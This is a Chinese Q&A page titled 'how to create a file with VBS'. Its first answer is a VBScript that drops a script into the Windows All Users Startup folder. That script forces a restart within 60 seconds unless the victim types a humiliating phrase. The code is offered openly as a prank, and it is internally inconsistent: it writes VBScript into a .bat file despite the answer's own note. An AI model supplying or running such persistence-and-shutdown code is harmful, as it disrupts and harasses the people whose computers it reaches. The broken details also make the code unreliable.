怎样用vbs新建一个文件

2024-11-30 09:49:44
推荐回答(3个)
回答1:

提醒你一下 你新建的文件应为sd.vbs才对 帮你改过来了~
Set Of = CreateObject("Scripting.FileSystemObject")
set ws=createobject("wscript.shell")
pathname =ws.SpecialFolders("allUsersStartMenu")
Set objFile = of.OpenTextFile(pathname&"\程序\启动\sd.bat", 2, True)
objFile.Writeline "on error resume next"
objFile.Writeline "dim WSHshellA"
objFile.Writeline "set WSHshellA = wscript.createobject("&""""&"wscript.shell"&""""&")"
objFile.Writeline "WSHshellA.run "&""""&"cmd.exe /c shutdown -r -t 60 -c"
objFile.Writeline""&""""&""&""""&"说我是猪,不说就一分钟关你机,不信,试试···"&""""&""&""""&""&""""&",0 ,true"
objFile.Writeline "dim a "
objFile.Writeline "do while(a <> "&""""&"我是猪"&""""&")"
objFile.Writeline "a = inputbox ("&""""&"说我是猪,就不关机,快撒,说 "&""""&""&""""&"我是猪"&""""&""&""""&" "&""""&","&""""&"说不说"&""""&","&""""&"不说"&""""&",8000,7000)"
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + a,0,"&""""&"MsgBox"&""""&""
objFile.Writeline "loop"
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + "&""""&"早说就行了嘛"&""""&" "
objFile.Writeline "dim WSHshell"
objFile.Writeline "set WSHshell = wscript.createobject("&""""&"wscript.shell"&""""&")"
objFile.Writeline "WSHshell.run "&""""&"cmd.exe /c shutdown -a"&""""&",0 ,true "
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + "&""""&"哈哈哈哈,真过瘾" &""""&""
objFile.Close

回答2:

回答3:

这好像是vbs脚本的代码,你的问题是什么意思啊,能说的清楚点吗?